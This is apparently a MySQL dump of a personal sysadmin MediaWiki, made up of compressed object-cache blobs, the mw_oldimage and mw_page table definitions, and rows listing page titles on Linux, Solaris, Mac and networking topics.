S@U/I)s\"Ѫ2(dlIJIC)1H,V:#A\'tSF.	_s\nt҆K)Tt12}2ϟRfi!<\'2.FrӇ1.N\"\\Kl\\i0MZ	qYc<TK\\*Gd#<o{eCERbRN	4jYLd/mjՃ08촭n`7Y5JVuNuB=JgvT5xcԛr\Z\'|f#mT%,Ѥ1M)S>jjS<((KEW9TG<0;.ASQcPm[$S(R׳HetsVIwm\"~k-x_SYB&@q-	u\nh6;44!ŁvϽ͛M9tVpÜ¼r25u>=7^R\\zϩr@SkbUnÁ\0p$2!%pW\0!nتe~{L0&P1xFioIo,B,]ΔA< %]A(Ð#og[X4czL2^N[?,^Heb>ڠz815؊,Bj?Iqg\rh2eWE+T\ndcEBhUwiyQ+TNzp306ϭƇú)\"-B\\st@ɉ 6E)gx:sv.ue<`o}\'-&RVnF!~ɢzJCqPzvޡ߱@G HbǏÃv;ݡ;tʪ<z]Ǭ[2`V`]Cc|f_J}p0,RYAuZZĲX#9?Bf3#20\\-puj\"y\"h;2.[F^:UEns+A 	BMu]oYQK~]s3yR2=@5\n\'ngOOI	\0e[!80	niGwF;8soEb%8	&xCxtY<c_Qq0GHzy\n\r!u\Z?q$at[աMw@_:\\VT;MLikm,\nr:C$c\0}y8rswA[mGCŨF0xx-)]N<ƇGЃTTpy3Mز0(q3_;(`6\rиux(nĺn);^}d~`Zw3R[=t:_r6+6⨲Gh_h_]ZWdxlgݠSJTBD\0W) _pQGtY^,/yPa@a+\nvw\rFꣁ0%wQW@w\Zazl\rnpAN%\'Q#`Hk#ABf\0[\r,t\ZXlap_ǭ\04pmऻ5\']eNpݞPM+;50^:*cշ yN61o`5Πhg0/\"&\r\r_fCXP	0x^jSֹ4skvk:	T k`\r46lmk)JjE5Qֱ(h각GpkϘ;m G܌_@^e%O~HLm5LQ\\܎nk3Fr٭tz#{kx%{\"V)#V&Gqq;.	bpyqIV˄b~Z6XƏ|~\r7~\0ɟ@FoWAaLO.iq0\\D\'\04ۻ&#_iwmy','2011-01-23 13:20:43'),('wikidb-mw_:pcache:idhash:309-0!1!0!!en!2!edit=0','WmOH!Iw*!ChRKz%/Q>Y{z\r*=~Z&<;w=?cy7sqע{q+(f\"+QVH.)-<T\01%D^\\@,&VƂg/F9y5\'֪Kz_re୙}zUaR\'\"fXYT[DD۷֋d!`rCJ5eR\rPn͛z<@(A\'910~bNE\":ĆHA5QrאmD\'6bIB)˲r%&hMke\n$	AmHK,3fKx-\r\r\\gcsf4p?`xmxZ0X\0NQjQ9Su_\0As+R8y[W*4[.I`JCNg+.o_c*꫎褰ZZ?GYwpsz0\rE6VƱ\r8(h#dq\"ῲ샾NAP w`!^18]NÉ̖bU*\\kRfBKtk\r$=AZd&2Id\'FF,x7\'B6g2Yh&^SJ#D๹CP	vw\\}DMx2֪P$x]f[Ӧ4N&-gD,X8줥T=#,%DQ\'I8)7MΥz\nj0Tcf/J3<,S Wo6fikQFF5,-e_dCxT|dfB74$S/J\r*(\r=U-;\'/uγ`ou;\\(ԛpASG9SuVw$H`e;wg3JD*4\ZI|dlV2>Cױz34MYY\">9C{`9fXUeD0M(X;1^U3G,0zM|cWx1HC?\"_kVi{=ũ=jU9븞GCUX	/X*:bg;G\\&tIFP/I|V\"^%\\niv-sŪLe75O?7>\"h~bu#DC0af;.f6BHQק=CoZgGapd«}:*\"=*\\mWc¹c4ՊVQ=ndWdk#ru|(5+nƺb)uO4]؃E_cߦf]]\\t%!$\\m<=9m=gZƝe#A&0!Ϟ)MUͯ\':hR]\r]ju&\0jLx#2бy?','2011-01-23 05:35:42'),('wikidb-mw_:pcache:idhash:355-0!1!0!!en!2!edit=0','XQsF3⬾$ $NL3g3&M$-ptޝ] nδifn}߭V<?p.6/\n	Npk^d#XXoQ\nL$ǎUV\'	,)JZ\\1p(lKEO\n76=~%:lar?	;,VD\"v9>A#sYs%,\ZXv|ٖGF׷\r\\T~/ \'`?\r}Gө~>aa_+c\r#>J?ߢrKM$D閒p\rńy|⑚NSxn\rׄ1;f8jT$P\Zw~gw1b5H<ys<I<$=L\Z<<	h<^,*m?\n-Uș4E][.Si4c&әM9K!\ZD稐QX.\"\0\r!ms\nvIp\r>Ę\Zb\rL3e oV2ܰ($l	\\wi*J,-$\'+$rO BWjKN-yJ5acGJSs8C$\Z׋Ua`e+|6WLj[gXj	-,5yX2ЉaJؕr,.rvuKih÷l.G̕/CuTY\"HZ쓘e@3>iձ}}݆oNP%8\Z%Y쌎#,v)3JQř|jURָ!w]ҼqdO0ĒfOCm\\V1 $A	uvqm\"\'vBiVF|],ZbV\Z#Ȉ7Z=-#k\ri`B*z7Ͱ~١}c\\`گa\"|V 75A\0\0NV`-r=~;uE|ssw.q<hwNm,]G>ӏ6ylD3O569\n9DntHTFVߢ(đkt}Hw`\0ECt2j<5kJ6r$ļ<EtR~\Z46٧y{(/얠[8,dZ§J#pkj;j7cn\nV&\r9/ڸ]r୥M5D6*[[rrHGWM&rWqgJߣzhZgSH{H/$twilbD>1,d{u꼔PKh\0t^P!y#CRRoTG~p=vqS#]OG˾?F+ӯ\0^egt/U*%Y9j\r94G<','2011-01-23 04:57:53'),('wikidb-mw_:pcache:idhash:391-0!1!0!!en!2','Wr6ͳC-r\'djwXxD.)$@j&D)vc=={\r͙Ҡn\ZS7ƣɐ~tLwi2:R>?cd yKcj\Zm4fHUIKˠ+br	˲w~-{g!;\'Te%	#ffH-1K.\n<QbiH\0jԤfI\Z-܃\n,D8fATWBVg|-_դKV.Ҳ RKV#.ia w\n5\"1xeA1x8|\rY_%zgM	o]@SDvx+Yk\"K47J{ ;B\Z%q`\r><85+`Vυ9/0/HT9!iHE?<桴\'ڙaZTʦȾIN?#Wb\\4ݴC}8%\ZIVVDqqBoqmm>3?sZ1~<R?d\"P\nѸ\0$dY&Ѭl\'ӓȯ\"{ߦk=+25-&P\"І/L\na&^1W?]T7)&29w+ +ao!uVXdw\\{-jX8< k?jdi[VNN?iM7l$9_A\'H=DφOl$w/|spvdB+29~1+d$ň\ZJ0`=ӇڒJ\"#xʀB4v(pC\rB6Xp#Fyd||F݃U9YǱV&@=ْ%Nc?:#G%2*UMQ$IM)p~{D`{ŝN臏XHšql7E`7ev\nz\ZY)a;NHo Rܹ\"\r]vgLbta\'cC;n5LC)1BN{xwe<_9(v&1ɪܤO o욝	\r;:ϮЛFOܦ|ۛuugbGl*jg)teO3R~Jal?Y)/s%kPf|,~c3AlċEueI:%OW]\ng\"C','2011-01-23 21:06:09'),('wikidb-mw_:pcache:idhash:392-0!1!0!!en!2','uTMo03bi\0[CURXd NV;B6$7o<aq)7ͤreثe}3ܸ``i\Z,\"9A+>\n<y*nVO3\r	\'\"8f1/CÐ~a9\"1Z[2\\UMϕTh\\H`SPKpT[o;Ν+Y¸B*r:	 ڋF\0\"Pz`4ɞ;$L#J\\9pھ}A@Btk\r۝ƸNAB8.q)NItTRAiMuܔ$ʊxAQDgq?RrͲ*P/7%*+ʝA`Q	\"\0<x3z:?i.n[%w+w!&ۜΓNԎQol(8I(yS\';_P+8b]QKmHFr\\(;=_4Y+Fޯxq[ݚG~\'AcI;KwO\']c*\r&XЋ`V?l㤱~5\"^ۂkf{Qo\"6T英jɽ$۵z%7\"<ͥDz<uX|eMh<s\n<r\'9F̺4\\ＺDb:o[q2L鶑x_/','2011-01-23 16:00:35'),('wikidb-mw_:pcache:idhash:54-0!1!0!!en!2','\\{sȖ):;N]H]bk*C⚝ԀBb0aR}tK*3UJlPw>W7\\u+nB\\\"j96P~oniR8a>򭼰\\3룷Q[۹OfDNJͪGǾI/\nߖmroc\\\'Ǖ-V^}X\0S99pE2˼x>AL#Gᄈ9z۲Tν\rLޜݘTƄ\rejYHLw:njO#B/?~,~Ǜ(\nq\'?e\nR(| ǵul7ʍ, yeF5\'r,n\'$z\Z7RA\n\rr\\|gb/0MNq`=eH!<Ƥ~LιL^n1GD,p/5SWŽzmġӜdԱe22kl\09xF)+vVۤPNY?%Hys9e&?r<9ǜz~9V/sxc2C5J^>~:|bد[y<_gҴ]ǓymzZ-RQulaX:x\0{QlJLL-LH!] ŹfX+lyX24 ~0=vnF1\0D33me~ў8\ZtvB+f(\\MKj8\r?11vmyӣmUoشXA^?\"tȡ8!iqO݄0?(L ̐fml!񙉀dr\ZH)XRr&=\"E1^=5P1!,q,fJ(~!mAM,32L良ʻDMh,\"M`#Er/͊N0)#|U\'*Y%HHy{\rt	QwB\"\ZKG?+a\n^a3aCj{V%q6EI-+ȸ\n\"<%>~/v}[췧[a?TӌgcM,t{Ǐõ0יr$${ ~.<L<\"ͪyy\\g\nCa\rLzL&=%	%Q%(Advx/u~hBn7PrWs]WǣU<Oo.F4qr>!`k&|WZ8E\\ހURVMeɓQ9e\0`H0?*XuZ338dV<G av`k7;\'UPGu,8Yv)yD(4i63̺#)\n6\n*e;!\rŻAADt\"ZIOXJj·(V(BtSt\rXIʷF3%P0lSPp[,z-Kcǁ?!Tl\'\Z\0`HLz/._\\gWb?濇mvܞ0޽+\ZqW\rd@*{	lWM*^2f̗}A*J+986D+^6\nFY5+v)+xJYH`lR¡AF!+(^sk7%k0\r~6aTDp1ўZbN\"qד$Ν<oKq\"-QiJkTն\ZFKÜR0^PY+z+j`S-fNiҾǺMw8y&q-Pm{ʉBq\'E8\nh=ٰ\0#J]q\';%	Tzn\'8r\0pHdA;Uxi|֨d\'kKӫMwVܘmtfOVeK\\Ƙ=0N(|OR;\nO8O@!Z@-Vh7DTK{g[Sq?\r̨)n¤P\"s<CKTswN;ҟmRO(5l\\Iud2: YY7+:I\'L7M,Ǖ\\EFH:^Y]/qd!f0MJZ?=R1goJsOg3ɦ}JH\'mqѨ ɏBӺLńPZc~{@pF˝\0?9{a].\"y_|۫POoS1Zp\r$nO#2AݎxU\"n(*1^ NFƮNK -``xǞkERVw*: \Z\r\"1:cH,F*m鷸r@*V!@\'dz\\n-1!Ӟɸ2]yS&Pa	5;Zb(Q(X=f]u;#*C36`A\rԶu7F3W47ڧvW9!9\Z\0Ė8FuNp%r*Ӭ+w@L>xX<h7:9֪2\\CkԾ&^ rFbSZKJ)8#˶i&]yHSdٺiYH{ɢ w20ԃ!WfmLCZ#pęfa.mPfPi	^+L)xA6[f 9BHCHm%,)UࢆӍVE&V+\n-MHݘ<L[\nʿ5/)C]r2\"\']ErS08Ҽ[Rk(#Rb̑gJO.s3B\'.,g>gpVR\\Q<̘*80RbN_ɱyS$yę\'DˍK?CE4)ti3&Sνx$Pnρ\'q$eDm/NZd:w1Җ\rL$	댡hD|Yǹц\no20mS`rgdcVd:cI@GU͖أ&XHrY O`.6.P	.}J^^d7m(M}]R*U27jԠw_JͿ룲j6q-DV]/5/~ЍQhNiݗl؂EDO\Z+=N/u%:8;	=%r \ZRPAsO\0Tr6PŇ~A\\^uP=9Ǝ\rkТLNjc׏Cu\00EguB	kZ5+hƉ§^F5xwL*2\rS%JӓHQ64*sTC @xVwEe>{wX\'{0Bh00q>*y|Q(\rz 5AC\"ɧ-J5P2\\tᚸgr-11z+\\W1^t{͖jQAv-nWAF@]W[_]q+Zf5r&=-gJc;TlVd:z,FS5\nhԒޱE-Emh{S+ ~ȑҕ=^GaQN|?0Ys陪W,%lkLԽ#Inɇ>6,%DܲʽF)vH=7O9ElܾWk>yznI=T-y~pM=j;uAj\"Z3:R$etvE>pt4G\n랝j5W*W}n/>Cy%TEA)$RHRZ2RG4ZRPJ9WãH07	L-dun<,щThDi$?7d*ȟ&N\0xr?s_Xk2VRWZ+ݻpUZ˕Yr\rkj\rpoi3~cn0w6n,>#SYadj\'I¥sNTAo8r*yK}VJu*FM~\\r{T|,@-n@cÌ[%iXSfphtr *S͇\\.δA9;^yM~;h/ǐlx/5׮]OgQSԺns~W^wsۛU&nbotGc237i:SׯRJX骬Νy#`:Zl}2sCBq_z{(.ó~sl9݁$HOҊ5BsVq?Aw^[x,ōlExz$9Ib㖋50ҶQ(֕~Xcvաmx%bZQRUp;HTCLM-H5&^S6_U%3>+Lz-DK< mG&ɰG=w_e}sd]e[+z@FWT/$|OU1qOYΎg業iY۾I׹[̰2͆AQ\ZB6y]\'(u3WnBU^Вu\'zهtoV-]qCZ3G*>\r,Fw}\\Sc3+Pii\"nhP7Yͺn#+;/rY߰q9Ur,Wvmqٱ	k\r\nG2wB!WB	ʜ6h	ѹŅ\ZIumGW\"Y`Zf.JMi?\0QʝH20uK]2o{5Rg(8krvJtl:$N&j^G҃~~g</i\"8%Cwt\"\n	F\"J\"#WB~,.C댭jEGP+1\rL}2R[|;n	;t@峰\'<at67\Z[Z	SWgl¼QTôٙX,1,P=bɌFtٸ4vYx3zțO\\ɨՒ$Jd)%iepeJ\nj2	\0+do)cf%)\nd+ˤ#}v):}U,ܥ\\^_#;I bq\nN:]#)O[:E\n*np%F:2A-Gh;?-HIYb{ȻyX<)Ji|˴fI|9.x33uxJz겯3C2&FbTUaT\rAg9wߘ]OU0v\nHevEȡM\\FnߌA4%oֺ_2yc>YpLPW0Aj_z4}݆6JY&\0yFC(y~fgF(ro=}9ց~-7NlkW~D/h\Z_`ׁS_r: ~m§W4&]|:Iv~]Cj[#m}?d<f~\'N\0t,[.Yj)HڣnSZ085:4xToO;60>H>rY7_P.&հr#jnEO\"8HPO}G=GLbl\'lr*d[n\"t[%\'jl#[(m\"Շ=\'\\Bv}!ڬѝ=՞>U	-Lh\Zv!6yUxNUOʷBtEnv:4>Guo\'NPBme̻U}m=$[ϧIa҈Bi{<,.|޺Y:/BWVD&6&u@-hơjcxu|:8gMJT^+*to=]/[}S_䫺WWQ#Q ]ZG6Lya4zQm4\r','2011-01-23 05:01:45'),('wikidb-mw_:pcache:idhash:71-0!1!0!!en!2!edit=0','[msg4\"QN(Y8ZR-hĊDbfbiNy8~Ͻ9v{N3yRa?%ٕy7acAGQaqS#e O/8<»rDiƹ`?v0qPDy\"sgVW23xƭ.&jG/ח&3u]iAYTq1y=C> \'sgfTQ[Qtt.ڽ5Hf>5KH~{&Sn7ԎK+?tuڟt<M,Q2ͧӴ[+NЦi4yMi>A\'A򮎮-ұl9&{mGk0uƁ_L\"@tJN.y+G1qx2Mnzټ55:4%|[{NULcArxġ2ñia<QUYd*UoM5\"MVYvfT<ؒCŐq0ƈ,$4Ou0UñjyBIY53|Mfl;N	IKL?)Pi1Mf6s\n[\"Lez\n!&5\rlu:1\n[j9r*-z\ZGxw.<jP~}?.ߊJhDbz\"?V,Ơ&`SCXdb)&WHPbކ5.,4,(->9u(DPU%n̒&VKOLlRN`\ZҦTD|Y^L0D`;0ϙdX~6Ygd9/2!w8魳+>mDW[·,y@0:iD9nْHCI0cR[+8)m4/`bX)aLV4f:Ŭ.-i%N1rQMF~g>;&Laa:RaITRO:*l\"u1~\rUmywvy\rh#mBb&eI\rxJM[GJs04ֈ:|U770dXST[dzjfqR\'Thvݏ<>?*\"2=V鵥a8MD}k/a߂,ǞL:3%\Z L]r_T\'[_0x#\ZLYlUַˢdDeꢋ7J09a/̧\0xA[=\'	מ-.vʋj4$vNcuyqP]\\s)RZ.j;1#cU65Uq+0QP\"Pk#Aa=5I!W\rg&07OHhy;Uibv`Ф PPuڝ6v߽Ƌ˧?WW[}L|NϿ?y\r.N=}PJ]+\n2u@x8Ba>u=bp9-+1pz>AW4\rZ!AF%K\\bu\'.ͦ.c}xUIeOVt%)i d9g$Z\'H2l܇5B/pKZ\"矚񭼟#k#U:˔͑ \"83pI*=-ߥ~*Dq\rEmowc>9:.b\"@\rq2ukpoUH@Xm\n#\'>\Z-|B\"\n} s$VY/A5I%mul!`)1-L-#aة\nWnI#<$qpl!8i.N\"89emgM-3~#f؅}3-#@)Y	mXS՗7nc6\'+Eeug $Qь7f\'w!5\r)˺\"gOTΙyh!hRš@U)̷*x:r-ηK0xiK62G߆@ϥBaRgAiԒJBW}(pv*p]f#b@\rfA\09%!\"WO.2 u.U!TE(]I&GQԯ\"&\nd%$U\r\'|_י-\"\\aI$X\n~uBfJ*֥h\"P2\0G5RT8兇-5go+,)|19aV-)RӸܫPU9clgZ	A=D#(dIP+s6p4]!K\n0\".GY+Xp^k+;݁f/=8k4Q@nazOro!d0}ON\rg_Nr)ݚ@q>jmv>xNU}c=QHpuU2*})S=,#XXGSF={qz,QH#>>E)*8\r赃~*¼煩T\'H^/8b(tN>3̅X\"~S:^ϾE#PKQ|Ak8m0TK+XPeՃ̢\'YF-gӐeUcQZ7#tVuz-#lYm/XS|ZQ%@@E<\rw8u\rگ\\$i*>a*n)k\'C_da\0\rYA6c֐;RI^O_q=\"_T`G{\n112LCOs38@/WlG6X\\`YAA+U<%Ɠ>LSi4)p	=xSJ7Kc^Xkg	k$qT>vPfJ=\"vШluv2KGvݽb_ oaYPDL𙀩ݩǾ bBPNK_]dF)dbz\"T\n&*9Uec\"=Nu|/u	iCVȜ v[\0M|\"2ldZB\n%Ít\"/\"lHHhXZlEL*be~$ $*bsS#dɕJ:\\߽x}j\'OelV7ܔ])+̞~;B+(B$0B!ˉ3\rgull\\vߍ^N5Đv%M\"gRCƅ8;-Q[bSLѮ?4U\0rb3UZ<P-//\ZTZ,#˞;WۀkNϯF6-h\'2t\0n%ˊ-Hӻ-LU%CXIN\")!OԤ/#	%5[_H:*\Zl^iҿlhcgakٵ=k;$q\r\"IMXΗ!mheSg\n\\\'mAE1-VHb!^XZ&j tR)$d]R钄؆\ZֽVؿ~^ܝK]`\'jԗz+yCV#NCmEqWbU	d]fR{_czXHY>.Y\'G𤋮ܫ=wT}0i73xvͺhSsճD2KRҶƤk0߬,*1q\\E&KTZwTO-X p_wCP{O\\́e?J]p`1	!Q,!;9E%\0鸦t:1ͨe}Coǘ0eL:y(Y,ByX#Jؼ\"\')[}qQFs7JL\'&/$;~׶b)L\ZV*1[o^%j9w|h?Xi^iE&?[\\;y?wr.QBGݪ(ͼq~(]S=VY<zCe5Jrzi*5Z-xf4L+qȧql2gCu~`e\ZWI\0N\nxϸa+M_aÑ~\\R2u\Z\rZ0G0l:|mu[-o(Gˡtn{asvIf}=yg]<;KxS{lOgQp\'ḹ?\ZvOQ`9#rDPJ1~aw-Ĵ^{{d$;%-zӈݯME2)69fvc͹KFGy\'qoߖTov$=OfFSO}Ao.5ކQZ|u!+\'mxDvY`\'ܹc/Kw>j_PJ#\0幼gc1!JT`f78>Ͻ)~t.wZkP?ߖ]k\0Z%Y jv0	dw3wY$ g@{Ï;_Fq~8^y61|31׉Gf?cs_obswͽ_w7V&$nۇ;nB[\rl{ZTJ:fZ:?::;uk~[\'W<t?ԽDě??N.lTAzXBWAu','2011-01-23 05:35:46'),('wikidb-mw_:rcfeed:atom:en:feaf9eec4b89c5939b5ad65c2a6014c2',']_s8|\ngoԘǱ#[9Nq*N&w7rA$aM<\0ٺ}I$ʉ۱$dB`fMlw{k{pmVx52vq3;+x6IY#c͇E/Iy4#NU	:\"1B~˕L}ޮt#͂t:XQJװM/r_rmw	d}\\V،\n^Kt.ѧ^dcY˜T廽j3!OYlVCE\")jQ\\k𾖜afkI-_knl?=ljE~zۂ?[̯bKS*^k;$W{+hZ.aDH88UK܈Kazz[qaKn5PR;;yPJfb8:;-w2&X|rFu\nS!+T>7֍ERnJtS=Yw\\⇑ŃCK\'ήR(HR(U0廤:dp}j\0{H4q4pp:I.j*iA;>z4LdݪbyxLAR{s\0_r1Au&ز[U!qJAm7*K:jȇ$Vυ8jp]\'5Ph	GYN-_He|2WkWV\'sx,TK~s5y\\U3Cˏ˹G72#&YuCH	ޘs6ФieIM\n1NHs\n~RYL^_0Sr-r1\Zt9/HYD`Ǥ4pK@|8K%֥:_>*\0O5Cp5WHMsVәrĮG0b#SU͋=\'Y!Ny.\0lN?@ucub̮iV2X(py/\0>Ò\ZfS&Dj9t\"x\0ʌ	DHm5	T\rb5G<Ia;1D`5|מFjs82f\\ď&H  P%1siʃWTT\r\\c`2. ƪAAAYH<1F0J%E>E!Z=!%(3S!1\"g7%d1b)19-X=Isu\0,r/q{I}.̒|P=\'kI~tqA \\k<mn:[W,xI.:UT<TVJY	EwZ,^%MP(6y@nLi9 ݶQȤ̰d 2(LRx+\nmcm\"ũUmy3Mb>*i61]pE8^B8\\T,,xO`\\g%ܿ~.޹@U+\'4_\"dʋX¡@5b_]g{盨K`Nos\\&iO*k}ΧCH=4h\ro ;ῄBSPoEcn&V&LdUĄAw%<#}D#zOXJ&g\ZIJ7w=! ˞\nUE?Q3N2K^ߔ3\n6:Zt!*hLDb/EFg rt1+ͧ@H5X	ZnvhxCvAI$Obr)UHXioo>аiVh˛97OK\rעXu/Hf0|RnR?w)kAZR.e]!o8<5˿[9(-?BLL ,1CR7\"0<Yޝ1,ᗻW\'|[x*\ngDx7\0_+ӈK+	K:,#ŵZ~}.D+y`zŅyzp۩Ȳ\"Wr[3XVAbAƃzwS9$ܦ.6f	zOLO,<grA-SLPBUOM@ıYbFZGoK|X:pd\0c2 ɹ,㖱.-R%<޼y̸D\nNг½&b3Ve8%ògF}čcX,]qkڪs~gZL0Mj-MƒOY8qG\0:2dPZwP`0ߵI\0ŒC;\r0#_b9`>~ТT/pܘI$LTaw?R2T\rB1@]3-A5@@׆Ɇ>@]be~/\"PhA{7xRu#e[19d}3`\"\"w6[ݪL̩;o72jm&ʽ4{\\0=~yB+S0BFA>/A,hmpfKecs;V,oOC*.Yc4]<0јۢ^iDfe0Vj[|!pp5nG\Z3A4?@l\\3O8( Yzgpo#i\Zlݬ6l\0WXImXh:Xdp1@תQW}WxQXHnɗhY\'Iq9FH~+{_[9{\"@S{RMXr%\rV.%sG%ʅ[Nߨ7P}r\'v%x1OWe3}\0:n*u=/j%7_t~WRpmzNcm<÷{ln|@!b1w wk&\'՝*}j[Z<-ݶ[nǨ ~8-j#,(;(I4G\r`DX*;(EbҔx5zq}/\Z`Ed}|c_:ThdFbh.%`1-ftW>y	*\rFkY\0nP?@lh[9]U	XL8KF^/Go_%&`~rK ~h<x2Bۄ՛jƖaUY{Z̨(8ղۭv4a\Zn$*A7\"MmHxw;ZDBړgʲ^\n~&@Rʦ+3~In鵯f(iVJP	6Hk϶MW.ʅx}>ouyNâ3on4!d\0.4ꅎ~y|fjzxh,77\"UE8~s9VC;=9ƌ_W䶞kF^L\n\"+紁 (mhT>LQNnӹi7s?\"MQi}Nqs\nȯMo{;K&e_8A=7>7ߑ<u_\Z%YNT6ȨAA\0<d@{K1F\'<&	%K*	#=}H[yC~惆non>\n\"oHO+ 0u~Ty%i9>#\nO߼<&ŝݼ\\+o!y;ד՟mwm!2]ʗNg,+51ca:l<̈b=]q:U?{sBN:y`UYZ+\\>yHUGs/oHn9rv','2011-01-23 19:59:55'),('wikidb-mw_:rcfeed:atom:timestamp','+24R220440422445U\0','2011-01-23 19:59:55');
/*!40000 ALTER TABLE `mw_objectcache` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_oldimage`
--

DROP TABLE IF EXISTS `mw_oldimage`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_oldimage` (
  `oi_name` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `oi_archive_name` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `oi_size` int(10) unsigned NOT NULL default '0',
  `oi_width` int(11) NOT NULL default '0',
  `oi_height` int(11) NOT NULL default '0',
  `oi_bits` int(11) NOT NULL default '0',
  `oi_description` tinyblob NOT NULL,
  `oi_user` int(10) unsigned NOT NULL default '0',
  `oi_user_text` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `oi_timestamp` varbinary(14) NOT NULL default '',
  `oi_metadata` mediumblob NOT NULL,
  `oi_media_type` enum('UNKNOWN','BITMAP','DRAWING','AUDIO','VIDEO','MULTIMEDIA','OFFICE','TEXT','EXECUTABLE','ARCHIVE') default NULL,
  `oi_major_mime` enum('unknown','application','audio','image','text','video','message','model','multipart') NOT NULL default 'unknown',
  `oi_minor_mime` varbinary(100) NOT NULL default 'unknown',
  `oi_deleted` tinyint(3) unsigned NOT NULL default '0',
  `oi_sha1` varbinary(32) NOT NULL default '',
  KEY `oi_name_timestamp` (`oi_name`,`oi_timestamp`),
  KEY `oi_name_archive_name` (`oi_name`,`oi_archive_name`(14)),
  KEY `oi_usertext_timestamp` (`oi_user_text`,`oi_timestamp`),
  KEY `oi_sha1` (`oi_sha1`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_oldimage`
--

LOCK TABLES `mw_oldimage` WRITE;
/*!40000 ALTER TABLE `mw_oldimage` DISABLE KEYS */;
INSERT INTO `mw_oldimage` VALUES ('Libotr-3.1.0-1.i386.rpm','20071121234510!Libotr-3.1.0-1.i386.rpm',302619,0,0,0,'',2,'Wikiuser','20071121234345','','MULTIMEDIA','application','x-rpm',0,'3tmlzb7ifrsfxit8ztmqn2jgfxwdjca');
/*!40000 ALTER TABLE `mw_oldimage` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_page`
--

DROP TABLE IF EXISTS `mw_page`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_page` (
  `page_id` int(10) unsigned NOT NULL auto_increment,
  `page_namespace` int(11) NOT NULL default '0',
  `page_title` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `page_restrictions` tinyblob NOT NULL,
  `page_counter` bigint(20) unsigned NOT NULL default '0',
  `page_is_redirect` tinyint(3) unsigned NOT NULL default '0',
  `page_is_new` tinyint(3) unsigned NOT NULL default '0',
  `page_random` double unsigned NOT NULL default '0',
  `page_touched` varbinary(14) NOT NULL default '',
  `page_latest` int(10) unsigned NOT NULL default '0',
  `page_len` int(10) unsigned NOT NULL default '0',
  PRIMARY KEY  (`page_id`),
  UNIQUE KEY `name_title` (`page_namespace`,`page_title`),
  KEY `page_random` (`page_random`),
  KEY `page_len` (`page_len`)
) ENGINE=InnoDB AUTO_INCREMENT=393 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_page`
--

LOCK TABLES `mw_page` WRITE;
/*!40000 ALTER TABLE `mw_page` DISABLE KEYS */;
INSERT INTO `mw_page` VALUES (1,0,'Main_Page','',6496,0,0,0.112799674149,'20100629232445',1030,1534),(2,6,'KDE_Solaris_install.jpg','',4,0,1,0.366890176578,'20070816235628',2,0),(3,0,'Solaris_Install_x86','',102,0,0,0.333102726542,'20070820130647',13,3136),(4,0,'Windows_Command_Line_Tricks','',48,0,1,0.777164191722,'20070817000013',4,165),(5,6,'SolarisLogo.jpg','',3,0,1,0.468775055651,'20070817005541',6,0),(6,0,'Mac_OS_X_-_memtest','',111,0,1,0.741238940407,'20070817010954',8,5138),(7,0,'Creating_Remedy_Macros','',127,0,1,0.990987039929,'20070817011253',9,2426),(8,0,'Sago_Linux_Notes','',45,0,0,0.15237617148,'20080827201731',403,314),(9,0,'Software_Keys','',45,0,1,0.804776830858,'20070819135938',12,341),(10,0,'CCNA_Class_Notes','',275,0,0,0.030514210793,'20080424005539',192,11767),(11,6,'CiscoLogo.jpeg','',6,0,1,0.80240458051,'20070821011357',15,0),(12,0,'Testing_mcrypt','',43,0,1,0.783024957658,'20070821124916',20,3527),(13,0,'Manual_Cpanel_Migration_Script','',81,0,0,0.514586589399,'20080418140421',182,4879),(14,0,'System_Reporting_-_sar_&_kSar','',676,0,0,0.681105841907,'20100614185424',986,6424),(15,6,'KSar.jpg','',42,0,1,0.715300857668,'20070821190248',23,0),(16,0,'Repairing_Corrupted_tar_files','',231,0,1,0.703587655782,'20070821190518',24,4293),(17,6,'Galadriel.jpg','',7,0,1,0.989013881485,'20070821190518',25,0),(18,0,'Dell_RAID_Tools','',287,0,0,0.103369141182,'20080306203532',141,3822),(19,0,'SSH_Over_X','',147,0,0,0.15744141148,'20110111155324',1361,5336),(20,0,'Linux_Night_Topics','',109,0,0,0.19813247692,'20070916114139',46,2732),(21,6,'Hiking_tux_200.jpeg','',7,0,1,0.91138477292,'20070825225102',33,0),(22,1,'Linux_Night_Topics','',25,0,1,0.470501837508,'20070825231523',35,77),(23,0,'Sun_Cobalt_XTR_Server','',311,0,0,0.552833450039,'20080321170435',152,4719),(24,0,'OpenWRT_Linksys_Router','',53,0,1,0.32334948021,'20070923150129',47,2721),(25,0,'Hardware_Info_Polling','',170,0,0,0.613669768529,'20071129215218',88,3977),(26,0,'BIOS_Updates','',115,0,1,0.232422882967,'20071001133612',49,4463),(27,6,'Mini_aeryn01.jpg','',6,0,1,0.987947361322,'20071001133612',50,0),(28,0,'Lm_sensors_Hardware_Monitoring','',185,0,0,0.504228667042,'20071018191946',56,7142),(29,6,'Lm_sensors.gif','',5,0,1,0.639043931137,'20071017144500',55,0),(30,0,'Apple_OSX_Tips','',37,0,0,0.762789156272,'20081028010323',485,728),(31,0,'Open_Suse_10.3_Notes','',128,0,0,0.967266428234,'20071122175652',70,3378),(32,6,'Libotr-3.1.0-1.i386.rpm','',2,0,1,0.328343392254,'20071122000941',65,0),(33,6,'Kopete-otr-0.7-1.i386.rpm','',2,0,1,0.277377411017,'20071122002037',66,0),(34,0,'Apple_OS_X_Darwin_Ports','',1451,0,0,0.052343764623,'20080710020119',311,7472),(35,0,'Linux_Hardware_Repair_-_A+_Class','',985,0,0,0.571115594847,'20080916193810',416,7202),(36,6,'MaxLinuxPenguin.jpg','',30,0,1,0.047850604896,'20071127010218',77,0),(38,0,'Windows_Password_Cracking','',257,0,1,0.420606596866,'20071128163625',82,3078),(39,0,'Suse_10.3_Network_Install','',331,0,0,0.300073377213,'20101114002454',1242,7687),(40,6,'Geeko.jpg','',8,0,1,0.926314007183,'20071128195248',85,0